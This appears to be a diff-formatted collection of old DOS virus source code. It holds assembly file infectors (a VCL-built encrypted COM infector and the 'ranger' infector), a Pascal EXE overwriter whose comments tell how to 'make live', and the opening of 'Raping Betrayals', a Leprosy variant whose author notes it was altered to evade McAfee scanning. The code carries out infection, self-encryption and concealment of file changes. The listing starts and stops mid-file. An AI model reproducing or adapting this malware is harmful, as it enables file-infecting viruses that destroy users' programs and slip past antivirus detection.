done_finding: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
find_files endp
|
||||
|
||||
infect_file proc near
|
||||
mov ah,02Fh ; DOS get DTA address function
|
||||
int 021h
|
||||
mov si,bx ; SI points to the DTA
|
||||
|
||||
mov byte ptr [di + set_carry],0 ; Assume we'll fail
|
||||
|
||||
cmp word ptr [si + 01Ah],(65279 - (finish - start))
|
||||
jbe size_ok ; If it's small enough continue
|
||||
jmp infection_done ; Otherwise exit
|
||||
|
||||
size_ok: mov ax,03D00h ; DOS open file function, r/o
|
||||
lea dx,[si + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,03Fh ; DOS read from file function
|
||||
mov cx,3 ; CX holds bytes to read (3)
|
||||
lea dx,[di + buffer] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ax,04202h ; DOS file seek function, EOF
|
||||
cwd ; Zero DX _ Zero bytes from end
|
||||
mov cx,dx ; Zero CX /
|
||||
int 021h
|
||||
|
||||
xchg dx,ax ; Faster than a PUSH AX
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
xchg dx,ax ; Faster than a POP AX
|
||||
|
||||
sub ax,finish - start + 3 ; Adjust AX for a valid jump
|
||||
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
|
||||
je infection_done ; If equal then exit
|
||||
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
|
||||
add ax,finish - start ; Re-adjust to make the jump
|
||||
mov word ptr [di + new_jump + 1],ax ; Construct jump
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor cx,cx ; Clear all attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
mov ax,03D02h ; DOS open file function, r/w
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov cx,3 ; CX holds bytes to write (3)
|
||||
lea dx,[di + new_jump] ; DX points to the jump we made
|
||||
int 021h
|
||||
|
||||
mov ax,04202h ; DOS file seek function, EOF
|
||||
cwd ; Zero DX _ Zero bytes from end
|
||||
mov cx,dx ; Zero CX /
|
||||
int 021h
|
||||
|
||||
push si ; Save SI through call
|
||||
call encrypt_code ; Write an encrypted copy
|
||||
pop si ; Restore SI
|
||||
|
||||
mov ax,05701h ; DOS set file time function
|
||||
mov cx,[si + 016h] ; CX holds old file time
|
||||
mov dx,[si + 018h] ; DX holds old file date
|
||||
int 021h
|
||||
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor ch,ch ; Clear CH for file attribute
|
||||
mov cl,[si + 015h] ; CX holds file's old attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
|
||||
ret ; Return to caller
|
||||
|
||||
set_carry db ? ; Set-carry-on-exit flag
|
||||
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
|
||||
new_jump db 0E9h,?,? ; New jump to virus
|
||||
infect_file endp
|
||||
|
||||
|
||||
vcl_marker db "[VCL]",0 ; VCL creation marker
|
||||
|
||||
encrypt_code proc near
|
||||
push bp ; Save BP
|
||||
mov bp,di ; Use BP as pointer to code
|
||||
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
|
||||
|
||||
xor ah,ah ; BIOS get time function
|
||||
int 01Ah
|
||||
mov word ptr [si + 9],dx ; Low word of timer is new key
|
||||
|
||||
xor byte ptr [si + 1],8 ;
|
||||
xor byte ptr [si + 8],1 ; Change all SIs to DIs
|
||||
xor word ptr [si + 11],0101h; (and vice-versa)
|
||||
|
||||
lea di,[bp + finish] ; Copy routine into heap
|
||||
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
|
||||
push si ; Save SI for later
|
||||
push cx ; Save CX for later
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
lea si,[bp + write_stuff] ; SI points to write stuff
|
||||
mov cx,5 ; CX holds length of write
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
pop cx ; Restore CX
|
||||
pop si ; Restore SI
|
||||
inc cx ; Copy the RET also this time
|
||||
rep movsb ; Copy the routine again
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
lea dx,[bp + start] ; DX points to virus
|
||||
|
||||
lea si,[bp + finish] ; SI points to routine
|
||||
call si ; Encrypt/write/decrypt
|
||||
|
||||
mov di,bp ; DI points to virus again
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
write_stuff: mov cx,finish - start ; Length of code
|
||||
int 021h
|
||||
encrypt_code endp
|
||||
|
||||
end_of_code label near
|
||||
|
||||
encrypt_decrypt proc near
|
||||
lea si,[bp + start_of_code] ; SI points to code to decrypt
|
||||
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
||||
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
|
||||
inc si ; Do the next word
|
||||
inc si ;
|
||||
loop xor_loop ; Loop until we're through
|
||||
ret ; Return to caller
|
||||
encrypt_decrypt endp
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end main
|
|
@ -0,0 +1,248 @@
|
|||
|
||||
.model tiny ; Handy directive
|
||||
.code ; Virus code segment
|
||||
org 100h ; COM file starting IP
|
||||
|
||||
entry_point: db 0e9h,0,0 ; jmp decrypt
|
||||
|
||||
decrypt: ; handles encryption and decryption
|
||||
mov cx,(offset heap - offset startencrypt)/2 ; iterations
|
||||
patch_startencrypt:
|
||||
mov di,offset startencrypt ; start of decryption
|
||||
decrypt_loop:
|
||||
db 81h,35h ; xor word ptr [di], xxxx
|
||||
decrypt_value dw 0 ; initialised at zero for null effect
|
||||
inc di ; calculate new decryption location
|
||||
inc di
|
||||
loop decrypt_loop ; decrypt mo'
|
||||
startencrypt:
|
||||
call next ; calculate delta offset
|
||||
next: pop bp ; bp = IP next
|
||||
sub bp,offset next ; bp = delta offset
|
||||
|
||||
lea si,[bp+save3]
|
||||
mov di,100h
|
||||
push di ; For later return
|
||||
movsw
|
||||
movsb
|
||||
|
||||
mov byte ptr [bp+numinfec],1 ; reset infection counter
|
||||
|
||||
mov ah,1Ah ; Set new DTA
|
||||
lea dx,[bp+newDTA] ; new DTA @ DS:DX
|
||||
int 21h
|
||||
|
||||
mov ah,47h ; Get current directory
|
||||
mov dl,0 ; Current drive
|
||||
lea si,[bp+origdir] ; DS:SI->buffer
|
||||
int 21h
|
||||
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
|
||||
|
||||
mov ax,3524h ; Get int 24 handler
|
||||
int 21h ; to ES:BX
|
||||
mov word ptr [bp+oldint24],bx; Save it
|
||||
mov word ptr [bp+oldint24+2],es
|
||||
mov ah,25h ; Set new int 24 handler
|
||||
lea dx,[bp+offset int24] ; DS:DX->new handler
|
||||
int 21h
|
||||
push cs ; Restore ES
|
||||
pop es ; 'cuz it was changed
|
||||
|
||||
dir_scan: ; "dot dot" traversal
|
||||
lea dx,[bp+com_mask]
|
||||
mov ah,4eh ; find first file
|
||||
mov cx,7 ; any attribute
|
||||
findfirstnext:
|
||||
int 21h ; DS:DX points to mask
|
||||
jc done_infections ; No mo files found
|
||||
|
||||
mov al,0h ; Open read only
|
||||
call open
|
||||
|
||||
mov ah,3fh ; Read file to buffer
|
||||
lea dx,[bp+buffer] ; @ DS:DX
|
||||
mov cx,1Ah ; 1Ah bytes
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
checkCOM:
|
||||
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
|
||||
cmp ax,2000 ; Is it too small?
|
||||
jb find_next
|
||||
|
||||
cmp ax,65535-(endheap-decrypt) ; Is it too large?
|
||||
ja find_next
|
||||
|
||||
mov bx,word ptr [bp+buffer+1]; get jmp location
|
||||
add bx,heap-decrypt+3 ; Adjust for virus size
|
||||
cmp ax,bx
|
||||
je find_next ; already infected
|
||||
jmp infect_com
|
||||
find_next:
|
||||
mov ah,4fh ; find next file
|
||||
jmp short findfirstnext
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+dot_dot] ; "cd .."
|
||||
int 21h
|
||||
jnc dir_scan ; go back for mo!
|
||||
|
||||
done_infections:
|
||||
jmp activate ; Always activate
|
||||
exit_virus:
|
||||
mov ax,2524h ; Restore int 24 handler
|
||||
lds dx,[bp+offset oldint24] ; to original
|
||||
int 21h
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+origdir-1] ; original directory
|
||||
int 21h
|
||||
|
||||
mov ah,1ah ; restore DTA to default
|
||||
mov dx,80h ; DTA in PSP
|
||||
int 21h
|
||||
retn ; 100h is on stack
|
||||
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
|
||||
|
||||
activate: ; ******************************
|
||||
mov ax,04301h ; DOS set file attributes function
|
||||
xor cx,cx ; File will have no attributes
|
||||
lea dx,[di + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
mov ax,03D02h ; DOS open file function, r/w
|
||||
lea dx,[di + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
xchg bx,ax ; Transfer file handle to AX
|
||||
jmp exit_virus
|
||||
|
||||
creator db '[ZEB(C)1992]',0 ; Mass Produced Code Generator
|
||||
virusname db '[ranger]',0
|
||||
|
||||
infect_com: ; ax = filesize
|
||||
mov cx,3
|
||||
sub ax,cx
|
||||
lea si,[bp+offset buffer]
|
||||
lea di,[bp+offset save3]
|
||||
movsw
|
||||
movsb
|
||||
mov byte ptr [si-3],0e9h
|
||||
mov word ptr [si-2],ax
|
||||
add ax,103h
|
||||
push ax ; needed later
|
||||
finishinfection:
|
||||
push cx ; Save # bytes to write
|
||||
xor cx,cx ; Clear attributes
|
||||
call attributes ; Set file attributes
|
||||
|
||||
mov al,2
|
||||
call open
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+buffer] ; Write from buffer
|
||||
pop cx ; cx bytes
|
||||
int 21h
|
||||
|
||||
mov ax,4202h ; Move file pointer
|
||||
xor cx,cx ; to end of file
|
||||
cwd ; xor dx,dx
|
||||
int 21h
|
||||
|
||||
get_encrypt_value:
|
||||
mov ah,2ch ; Get current time
|
||||
int 21h ; dh=sec,dl=1/100 sec
|
||||
or dx,dx ; Check if encryption value = 0
|
||||
jz get_encrypt_value ; Get another if it is
|
||||
mov [bp+decrypt_value],dx ; Set new encryption value
|
||||
lea di,[bp+code_store]
|
||||
mov ax,5355h ; push bp,push bx
|
||||
stosw
|
||||
lea si,[bp+decrypt] ; Copy encryption function
|
||||
mov cx,startencrypt-decrypt ; Bytes to move
|
||||
push si ; Save for later use
|
||||
push cx
|
||||
rep movsb
|
||||
|
||||
lea si,[bp+write] ; Copy writing function
|
||||
mov cx,endwrite-write ; Bytes to move
|
||||
rep movsb
|
||||
pop cx
|
||||
pop si
|
||||
pop dx ; Entry point of virus
|
||||
push di
|
||||
push si
|
||||
push cx
|
||||
rep movsb ; Copy decryption function
|
||||
mov ax,5b5dh ; pop bx,pop bp
|
||||
stosw
|
||||
mov al,0c3h ; retn
|
||||
stosb
|
||||
|
||||
add dx,offset startencrypt - offset decrypt ; Calculate new
|
||||
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
|
||||
call code_store ; decryption
|
||||
pop cx
|
||||
pop di
|
||||
pop si
|
||||
rep movsb ; Restore decryption function
|
||||
|
||||
mov ax,5701h ; Restore creation date/time
|
||||
mov cx,word ptr [bp+newDTA+16h] ; time
|
||||
mov dx,word ptr [bp+newDTA+18h] ; date
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
mov ch,0
|
||||
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
|
||||
call attributes ; attributes
|
||||
|
||||
dec byte ptr [bp+numinfec] ; One mo infection
|
||||
jnz mo_infections ; Not enough
|
||||
jmp done_infections
|
||||
mo_infections: jmp find_next
|
||||
|
||||
open:
|
||||
mov ah,3dh
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
xchg ax,bx
|
||||
ret
|
||||
|
||||
attributes:
|
||||
mov ax,4301h ; Set attributes to cx
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
ret
|
||||
|
||||
write:
|
||||
pop bx ; Restore file handle
|
||||
pop bp ; Restore relativeness
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+decrypt] ; Concatenate virus
|
||||
mov cx,heap-decrypt ; # bytes to write
|
||||
int 21h
|
||||
push bx
|
||||
push bp
|
||||
endwrite:
|
||||
|
||||
int24: ; New int 24h (error) handler
|
||||
mov al,3 ; Fail call
|
||||
iret ; Return control
|
||||
|
||||
com_mask db '*.com',0
|
||||
dot_dot db '..',0
|
||||
heap: ; Variables not in code
|
||||
; The following code is the buffer for the write function
|
||||
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
|
||||
oldint24 dd ? ; Storage for old int 24h handler
|
||||
backslash db ?
|
||||
origdir db 64 dup (?) ; Current directory buffer
|
||||
newDTA db 43 dup (?) ; Temporary DTA
|
||||
numinfec db ? ; Infections this run
|
||||
buffer db 1ah dup (?) ; read buffer
|
||||
endheap: ; End of virus
|
||||
end entry_point
|
|
@ -0,0 +1,157 @@
|
|||
{close but not cookie ranmas4A}
|
||||
USES dos,link,attrib;
|
||||
CONST vSize=8608;
|
||||
VAR PATHLIST,
|
||||
fileLIST: LISTtype;
|
||||
TempPtr : NodePtr;
|
||||
current : byte;
|
||||
count : integer; {debug}
|
||||
Running : string;
|
||||
buffer : array[0..vSize] of byte;
|
||||
header : array[0..$1A] of byte;
|
||||
F : file;
|
||||
vID : string[2];
|
||||
procedure SuckPaths(var lister: listTYPE);
|
||||
{Get paths from command environmet}
|
||||
{Split string into seperate paths }
|
||||
{Include running path in list }
|
||||
var
|
||||
ps, s: string;
|
||||
ind: integer;
|
||||
begin
|
||||
s:= GetEnv('PATH');
|
||||
ind:= pos(';', S);
|
||||
GetDir(0,PS);
|
||||
insertNODE(lister,ps);
|
||||
if ind<0 then while ind< 0 do BEGIN
|
||||
ps:= copy(S, 1, ind-1);
|
||||
{debug} if (random(2)=1) then insertNODE(lister,ps);
|
||||
delete(S,1,ind);
|
||||
ind:= pos(';', S);
|
||||
END;
|
||||
end;
|
||||
procedure SuckFiles(path: string; var exes:LISTtype);
|
||||
{find EXE files in path given }
|
||||
{return linked list }
|
||||
var Fil :SearchRec;
|
||||
BEGIN
|
||||
{current:=0;}
|
||||
IF path[ length(path) ]<'\' then path:=path+'\';
|
||||
{change to *.EXE to make live}
|
||||
findfirst(path+'*.222',anyfile,fil);
|
||||
while DosError=0 do begin
|
||||
If (pos('.',fil.name)<1) and not(boolean(fil.attr and directory)) then
|
||||
begin
|
||||
inc(count);
|
||||
if random(20)=5 then begin {debug}
|
||||
if (fil.size<$ffff) then begin
|
||||
InsertNode(exes,(path+fil.name));
|
||||
{ current:=1; }
|
||||
end;
|
||||
end; {debug}
|
||||
end;
|
||||
if current=1 then dosError:=18
|
||||
else findnext(fil); {give "no more files" effect to exit}
|
||||
end;
|
||||
END;
|
||||
{::Skeleton Main::}
|
||||
BEGIN
|
||||
randomize; count:=0; initLIST (pathLIST);
|
||||
vID:='FU';
|
||||
{::Get cur & PATH's dos's environment::}
|
||||
SuckPaths(pathLIST); {pick about 1 out of 2 paths from the PATH envir}
|
||||
{::Pick files from paths::}
|
||||
TempPtr:=pathLIST.first; {pick 1 name max in every path for checking}
|
||||
While ( TempPtr<nil ) do BEGIN
|
||||
suckFiles(TempPtr^.info,fileLIST);
|
||||
TempPtr:= TempPtr^.link;
|
||||
END;
|
||||
killList(pathList);
|
||||
{::get buffer::}
|
||||
Running:=ParamStr(0); {get name of the file currently running}
|
||||
Running:=FExpand(Running);
|
||||
Assign(F,running);
|
||||
reset(f,1);
|
||||
seek(f,0);
|
||||
blockRead(f,buffer[0],vSize);
|
||||
close(f);
|
||||
move(vID[1],buffer[$12],2);
|
||||
TempPtr:=fileLIST.first;
|
||||
While ( TempPtr<nil ) do BEGIN
|
||||
Assign(F,TempPtr^.info);
|
||||
SetfileATTR(TempPtr^.info,'hsra',false);
|
||||
Reset(f,1);
|
||||
Blockread(F,header[0],$1A);
|
||||
IF (Chr(header[$12])<'F') or
|
||||
(Chr(header[$13])<'U') then BEGIN
|
||||
TempPtr^.link:=NIL; {stop search}
|
||||
seek(F,0);
|
||||
Blockwrite(F,buffer,vSize);
|
||||
END;
|
||||
Close(F);
|
||||
TempPtr:= TempPtr^.link;
|
||||
END;
|
||||
killList(fileList);
|
||||
writeLN('Disk Read Error');
|
||||
{change to 0 to make live}
|
||||
repeat until 1=1{0};
|
||||
END.
|
||||
LINK.PAS:
|
||||
unit link;
|
||||
INTERFACE
|
||||
Type
|
||||
NodePtr=^Node;
|
||||
Node= record
|
||||
Info: String[40];
|
||||
Link: NodePtr;
|
||||
end;
|
||||
ListType=record
|
||||
First: NodePtr;
|
||||
last : NodePtr;
|
||||
end;
|
||||
{var
|
||||
TheList : ListType;
|
||||
{MemSize : longInt;}
|
||||
{TempList:NodePtr;}
|
||||
procedure initList( Var thelist: listType);
|
||||
Procedure InsertNode( var theLIST: listType; Stuff: string );
|
||||
procedure KillList(var theLIst: listTYPE);
|
||||
IMPLEMENTATION
|
||||
procedure initList( var thelist: listType);
|
||||
begin
|
||||
TheLIST.First:=NIL;
|
||||
TheLIST.last:= NIL;
|
||||
end;
|
||||
Procedure InsertNode( var theLIST: listType; Stuff: string );
|
||||
var
|
||||
Temp,
|
||||
TempNode: NodePtr;
|
||||
begin
|
||||
Temp:=TheList.first; {borrow start}
|
||||
New ( TempNode ); {.............}
|
||||
TempNode^.Info:= Stuff; {make new node}
|
||||
TempNode^.Link:= nil; {.............}
|
||||
If ( Temp=nil ) then
|
||||
begin
|
||||
TheList.first:=TempNode; {both point at single node}
|
||||
TheList.last :=TempNode;
|
||||
end
|
||||
ELse
|
||||
begin
|
||||
TheList.last^.link:=TempNode; {point last NODE to new node}
|
||||
TheList.last :=TempNode; {point list END to new node}
|
||||
end;
|
||||
end;
|
||||
procedure KillList(var theLIst: listTYPE);
|
||||
var dummy,
|
||||
hold: NodePtr;
|
||||
begin
|
||||
dummy:=thelist.first;
|
||||
while dummy<nil do begin
|
||||
thelist.First:=thelist.first^.link;
|
||||
dispose(dummy);
|
||||
dummy:=Thelist.first;
|
||||
end;
|
||||
end;
|
||||
begin
|
||||
end.
|
|
@ -0,0 +1,340 @@
|
|||
; VirusName: Raping Betrayals
|
||||
; Country : Sweden
|
||||
; Author : The Unforgiven / Immortal Riot
|
||||
; Date : 15/09/1993
|
||||
;
|
||||
;
|
||||
; This is an mutation of Misery from Immortal Riot.
|
||||
; I mutated this one, cuz Mcafee scan grabbed it
|
||||
; within one month after we released it. So, now
|
||||
; "Misery" is called "Raping Betrayls". Many
|
||||
; thanks to PCM2 for the original Leprosy virus.
|
||||
;
|
||||
; Okey..In this version I just changed the new
|
||||
; Mcafee "Scan-String", by remarking some calls.
|
||||
; I also added a day checker, and if the
|
||||
; virus (or a infected file) is run at the 10:th
|
||||
; any month, procedure "ellie" will go off..
|
||||
; Ellie is some sort of heart breaker!..<..hehe..>
|
||||
;
|
||||
; It copies itself into other exe/com files on the current
|
||||
; drive. The file-size will not be changed, cuz it just
|
||||
; replaces the code in the beginning with itselves. The
|
||||
; infected files will not work, instead the virus will
|
||||
; run again. The virus uses dot-dot metod for changing dirs.
|
||||
;
|
||||
; There has been many mutations born from Leprosy,
|
||||
; and here we give you yet another contribution...
|
||||
;
|
||||
; McaFee Scan v108 can't find it, neither can S&S Toolkit 6.54
|
||||
; Havn't tried with TBScan/F-prot, but they will probably
|
||||
; identify it as "Leprosy".
|
||||
;
|
||||
; Regards : The Unforgiven / Immortal Riot
|
||||
|
||||
Title Raping Betrayals ; By The Unforgiven / Immortal Riot
|
||||
|
||||
cr equ 13 ; Carriage return ASCII code
|
||||
lf equ 10 ; Linefeed ASCII code
|
||||
tab equ 9 ; Tab ASCII code
|
||||
virus_size equ 664 ; Size of the virus file
|
||||
code_start equ 100h ; Address right after PSP in memory
|
||||
dta equ 80h ; Addr of default disk transfer area
|
||||
datestamp equ 24 ; Offset in DTA of file's date stamp
|
||||
timestamp equ 22 ; Offset in DTA of file's time stamp
|
||||
filename equ 30 ; Offset in DTA of ASCIIZ filename
|
||||
attribute equ 21 ; Offset in DTA of file attribute
|
||||
|
||||
|
||||
code segment 'code' ; Open code segment
|
||||
assume cs:code,ds:code ; One segment for both code & data
|
||||
org code_start ; Start code image after PSP
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; All executable code is contained in boundaries of procedure "main".
|
||||
; The following code, until the start of "virus_code", is the non-
|
||||
; encrypted CMT portion of the code to load up the real program.
|
||||
; ÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
main proc near ; Code execution begins here
|
||||
|
||||
call encrypt_decrypt ; Decrypt the real virus code
|
||||
jmp random_mutation ; Put the virus into action
|
||||
encrypt_val db 00h ; Hold value to encrypt by here
|
||||
|
||||
; Ä-ÄÄÄ--ÄÄ- Encrypt, save, and restore the virus code ÄÄÄ--ÄÄ--Ä-ÄÄ
|
||||
infect_file:
|
||||
mov bx,handle ; Get the handle
|
||||
push bx ; Save it on the stack
|
||||
|
||||
; call encrypt_decrypt ; Encrypt most of the code
|
||||
pop bx ; Get back the handle
|
||||
mov dx,code_start ; Buffer where code starts in memory
|
||||
mov cx,virus_size ; Total number of bytes to write
|
||||
|
||||
mov ah,40h ; DOS write-to-handle service
|
||||
int 21h ; Write the virus code into the file
|
||||
; call encrypt_decrypt ; Restore the code as it was
|
||||
call daycheck ; Call function who check's for day.
|
||||
ret ; Go back to where you came from
|
||||
|
||||
; ÄÄ-ÄÄÄÄ-ÄÄ Encrypt or decrypt the virus code ; ÄÄ-ÄÄÄÄ--ÄÄÄÄÄÄ-Ä
|
||||
|
||||
encrypt_decrypt:
|
||||
mov bx,offset virus_code ; Get address to start
|
||||
; encrypt/decrypt
|
||||
xor_loop: ; Start cycle here
|
||||
mov ah,[bx] ; Get the current byte
|
||||
xor al,encrypt_val ; En/dis-engage XOR scheme on it
|
||||
mov [bx],ah ; Put it back where we got it
|
||||
inc bx ; Move BX ahead a byte
|
||||
cmp bx,offset virus_code+virus_size ; Are we at the end?
|
||||
jle xor_loop ; If not, do another cycle
|
||||
ret ; and go back where we came from
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄ---ÄÄÄÄÄ--ÄÄÄ--ÄÄÄ--ÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ----ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; The rest of the code from here on remains encrypted until run-time,
|
||||
; using a fundamental XOR technique that changes via CMT.
|
||||
; ÄÄ-ÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄ--ÄÄÄ---ÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--Ä-Ä-ÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
virus_code:
|
||||
|
||||
; ÄÄ-ÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄ--ÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; "All strings are kept here in the file, and automatically encrypted"
|
||||
; Okey..Thanks to Cybernetic Mutation Technology(tm), for this, but
|
||||
; the virus is pretty un-use-less if Mcafee scan catch is so, I
|
||||
; changed a few calls, and you can have phun with this again...
|
||||
; ÄÄ-ÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄ-Ä--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
exe_filespec db "*.EXE",0 ; To infect EXE's
|
||||
com_filespec db "*.COM",0 ; To infect COM's
|
||||
newdir db "..",0 ; Move up one directory
|
||||
; ÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; Fake_msg is the message that will be printed on the screen, after
|
||||
; it has infected files (or when a infected file is run).
|
||||
; ÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄ---ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
|
||||
fake_msg db cr,lf,"Program too big to fit in memory$"
|
||||
virus_msg1 db cr,lf,tab,"Betrayal is a sin, if it comes from another..$"
|
||||
db " The Unforgiven / Immortal Riot " ; HUmm..that's me..
|
||||
db " Dedicated to Ellie! - Lurve you! "; Love ya Ellie!
|
||||
db " Sweden 15/09/93 " ; written..
|
||||
; ÄÄ-ÄÄÄÄÄÄÄ----ÄÄÄ-ÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; Okey..these messages just are just "file-size out-fillers" or something,
|
||||
; nothing important..so I remarked them, and the virus is a bit smaller...
|
||||
; also check in prodedure "Exit_virus" for more info about ‚m..
|
||||
|
||||
;virus_msg2 db cr,lf,tab," Something was placed here before.. $"
|
||||
;virus_msg3 db cr,lf,tab," But now, it's all gone, black, sad $"
|
||||
;virus_msg4 db cr,lf,tab," and empty. Empty places i my mind, $"
|
||||
;virus_msg5 db cr,lf,tab," heart, life, and soul, yes, it's a sin. $"
|
||||
; ÄÄ-ÄÄÄÄÄÄÄÄ---ÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
|
||||
compare_buf db 20 dup (?) ; Buffer to compare files in
|
||||
files_found db ?
|
||||
files_infected db ?
|
||||
orig_time dw ?
|
||||
orig_date dw ?
|
||||
orig_attr dw ?
|
||||
handle dw ?
|
||||
success db ?
|
||||
|
||||
random_mutation: ; First decide if virus is to mutate
|
||||
mov ah,2ch ; Set up DOS function to get time
|
||||
int 21h
|
||||
cmp encrypt_val,0 ; Is this a first-run virus copy?
|
||||
je install_val ; If so, install whatever you get.
|
||||
cmp dh,15 ; Is it less than 16 seconds?
|
||||
jg find_extension ; If not, don't mutate this time
|
||||
install_val:
|
||||
cmp dl,0 ; Will we be encrypting using zero?
|
||||
je random_mutation ; If so, get a new value.
|
||||
mov encrypt_val,dl ; Otherwise, save the new value
|
||||
find_extension: ; Locate file w/ valid extension
|
||||
mov files_found,0 ; Count infected files found
|
||||
mov files_infected,4 ; BX counts file infected so far
|
||||
mov success,0
|
||||
find_exe:
|
||||
mov cx,00100111b ; Look for all flat file attribs
|
||||
mov dx,offset exe_filespec ; Check for .EXE extension first
|
||||
mov ah,4eh ; Call DOS find first service
|
||||
int 21h
|
||||
cmp ax,12h ; Are no files found?
|
||||
je find_com ; If not, nothing more to do
|
||||
call find_healthy ; Try to find healthy .EXE
|
||||
find_com:
|
||||
mov cx,00100111b ; Look for all flat file attribs
|
||||
mov dx,offset com_filespec ; Check for .COM extension now
|
||||
mov ah,4eh ; Call DOS find first service
|
||||
int 21h
|
||||
cmp ax,12h ; Are no files found?
|
||||
je chdir ; If not, step back a directory
|
||||
call find_healthy ; Try to find healthy .COM
|
||||
chdir: ; Routine to step back one level
|
||||
mov dx,offset newdir ; Load DX with address of pathname
|
||||
mov ah,3bh ; Change directory DOS service
|
||||
int 21h
|
||||
dec files_infected ; This counts as infecting a file
|
||||
jnz find_exe ; If "yes", find another
|
||||
jmp exit_virus ; Otherwise let's pack it up
|
||||
find_healthy:
|
||||
mov bx,dta ; Point BX to address of DTA
|
||||
mov ax,[bx]+attribute ; Get the current file's attribs
|
||||
mov orig_attr,ax ; Save it
|
||||
mov ax,[bx]+timestamp ; Get current file's time stamp
|
||||
mov orig_time,ax ; Save it
|
||||
mov ax,[bx]+datestamp ; Get current file's data stamp
|
||||
mov orig_date,ax ; Save it
|
||||
mov dx,dta+filename ; Get filename to change attribute
|
||||
mov cx,0 ; Clear all attribute bytes
|
||||
mov al,1 ; Set attribute sub-function
|
||||
mov ah,43h ; Call DOS service to do it
|
||||
int 21h
|
||||
mov al,2 ; Open handle for read/write
|
||||
mov ah,3dh ; Open file handle DOS service
|
||||
